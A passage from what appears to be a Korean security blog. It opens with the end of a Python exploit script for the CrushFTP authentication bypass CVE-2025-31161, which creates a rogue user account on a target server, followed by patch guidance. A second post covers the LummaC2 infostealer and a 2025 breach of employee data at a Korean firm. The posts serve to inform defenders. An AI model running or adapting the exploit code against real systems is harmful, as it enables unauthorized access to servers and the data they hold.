        "user": f'<?xml version="1.0" encoding="UTF-8"?><user type="properties"><user_name>{new_user}</user_name><password>{password}</password><extra_vfs type="vector"></extra_vfs><version>1.0</version><root_dir>/</root_dir><userVersion>6</userVersion><max_logins>0</max_logins><site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site><created_by_username>{target_user}</created_by_username><created_by_email></created_by_email><created_time>1744120753370</created_time><password_history></password_history></user>',
        "xmlItem": "user",
        "vfs_items": '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
        "permissions": '<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)</item></VFS>',
        "c2f": "31If"
    }

    # Execute requests sequentially
    print("  [-] Warming up the target")
    # we jsut fire a request and let it time out. 
    try:
        warm_up_request = requests.get(warm_up_url, headers=headers, timeout=20)
        if warm_up_request.status_code == 200:
            print("  [-] Target is up and running")
    except requests.exceptions.ConnectionError:
        print("  [-] Request timed out, continuing with exploit")


    print("[+] Sending Account Create Request")
    create_user_request = requests.post(create_user_url, headers=headers, data=payload)
    if create_user_request.status_code != 200:
        print("  [-] Failed to send request")
        print("  [+] Status code:", create_user_request.status_code)
    if '<response_status>OK</response_status>' in create_user_request.text:
        print("  [!] User created successfully")



if __name__ == "__main__":
    parser = ArgumentParser(description="Exploit CVE-2025-31161 to create a new account")
    parser.add_argument("--target_host", help="Target host")
    parser.add_argument("--port", type=int, help="Target port", default=8080)
    parser.add_argument("--target_user", help="Target user", default="crushadmin")
    parser.add_argument("--new_user", help="New user to create", default="AuthBypassAccount")
    parser.add_argument("--password", help="Password for the new user", default="CorrectHorseBatteryStaple")

    args = parser.parse_args()

    if not args.target_host:
        print("  [-] Target host not specified")
        parser.print_help()
        exit(1)

    exploit(
        target_host=args.target_host,
        port=args.port,
        target_user=args.target_user,
        new_user=args.new_user,
        password=args.password
    )

    print(f"[+] Exploit Complete you can now login with\n   [*] Username: {args.new_user}\n   [*] Password: {args.password}.")

4. 대응방안

- 벤더사 제공 업데이트 적용 [6][7]

> lookup_password 기능 비활성화
> Authorization 헤더 내 Credential 키 값 구성 검증
> 인증 로직 변경

제품명 영향받는 버전 해결 버전
CrushFTP 11.0.0 이상 ~ 11.3.0 이하 11.3.1
10.0.0 이상 ~ 10.8.3 이하 10.8.4

5. 참고

[1] https://www.crushftp.com/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-31161
[3] https://projectdiscovery.io/blog/crushftp-authentication-bypass
[4] https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis
[5] https://github.com/Immersive-Labs-Sec/CVE-2025-31161
[6] https://www.crushftp.com/crush11wiki/Wiki.jsp?page=Update
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71705
[8] https://hackyboiz.github.io/2025/04/19/empty/CVE-2025-31161

1. InfoStealer

- 사용자의 시스템에 침투하여 정보를 탈취하는 멀웨어

- 주로 피싱 메일, 크랙 및 불법 소프트웨어 등을 통해 유포

> 계정 정보, 웹 브라우저 저장 정보 (쿠키, 자동 완성 등), 금융 정보 등을 탈취

> 탈취한 정보를 악용해 크리덴셜 스터핑 공격 등 추가 공격이나 금전적 이득을 취함

1.1 LummaC2

- LummaC2 InfoStealer는 소프트웨어 크랙 버전으로 위장하여 유포 [2]

- 사용자가 다운로드 및 실행하면 스크립트가 동작하여 악성코드에 감염

※ 실제 공격에 사용된 악성코드와 차이가 있을 수 있음

2. KS한국고용정보 내부 데이터 유출

- 25.04.05 공격자는 LummaC2 InfoStealer를 이용해 KS한국고용정보 공식 도메인(ksjob.co[.]kr)의 관리자 계정 탈취 [1]

> 해당 악성코드는 크리덴셜, 세션 토큰, 브라우저 자동저장 정보 등을 수집해 공격자에게 전달

 

- 25.04.19 탈취한 계정을 통해 내부 시스템 접근에 성공 및 데이터 탈취

> 유출된 데이터는 총 22GB 분량으로 기본 개인정보 개인 식별 및 사칭 가능성이 높은 문서들이 대거 포함

> 이름, 생년월일, 주민등록번호 뒷자리, 이메일, 주소, 전화번호, 비밀번호, 계좌번호 등 기본 개인정보

> 신분증 사본, 통장 사본, 임직원 사진, 근로계약서, 자필 서명, 급여명세서, 가족관계증명서, 주민등록등본, 혼인관계증명서 등 민감도가 높은 문서

※ 수년 전 퇴사한 임직원들의 정보까지 포함되어 있어 사측의 개인정보 보관 정책에 대한 비판 有

 

- 25.04.22 Exploit Forum(다크웹 해킹 포럼)에서 Thales 사용자는 해당 데이터를 15,000달러에 판매하겠다는 글 게시

> 모든 이메일 계정 접근권, SQL 데이터베이스, 재무자료, 문서, 직원 신원정보가 포함된다고 설명

3. 대응방안

- 이메일 열람 주의

- 정식 소프트웨어 사용

- 계정 정보 변경 (사이트 별 상이한 계정 정보 사용 등)

- 퇴직자 관련 정보/문서 삭제 등 퇴직자 관리 프로세스 마련

- 문서 보안 체계 강화

- 다크웹 기반 위협 인텔리전스 도입

4. 참고

[1] https://www.dailysecu.com/news/articleView.html?idxno=165636
[2] https://asec.ahnlab.com/ko/86396/

+ Recent posts